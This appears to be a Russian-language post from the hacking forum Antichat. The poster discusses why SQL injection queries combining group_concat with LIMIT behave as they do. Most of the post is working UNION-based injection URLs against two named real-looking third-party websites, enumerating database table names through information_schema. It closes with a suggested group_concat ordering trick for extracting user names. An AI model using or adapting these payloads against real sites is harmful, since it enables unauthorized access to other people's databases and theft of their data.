|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
С нами:
10227206
Репутация:
2163
|
|
как это у вас проходят конструкции group_concat+limit, я думал функции с аргументами выборки не дружат с лимитом,
на вашем же примере если задавать начальные позиции <>0
http://www.wowpourlesnuls.fr/images.php?img=-1+union+select+1,count(table_name)+from+informatio n_schema.tables+limit+1,1--
http://www.wowpourlesnuls.fr/images.php?img=-1+union+select+1,group_concat(table_name)+from+inf ormation_schema.tables+limit+1,1--
http://www.wowpourlesnuls.fr/images.php?img=-1+union+select+1,ascii(table_name)+from+informatio n_schema.tables+limit+1,1--
вот ещё 1 пример, вывод есть:
http://mskputana.ru/list.php?foto=p44512_3.jpg&link=-1+union+select+group_concat(table_name),2,3,4,5,6, 7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 ,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,4 1,42,43+from+information_schema.tables+limit+0,1--+
вывода нет
http://mskputana.ru/list.php?foto=p44512_3.jpg&link=-1+union+select+group_concat(table_name),2,3,4,5,6, 7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 ,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,4 1,42,43+from+information_schema.tables+limit+1,1--+
и чем вас не устраивает вариант group_concat(user order by 'user') where user>'user' ? '( |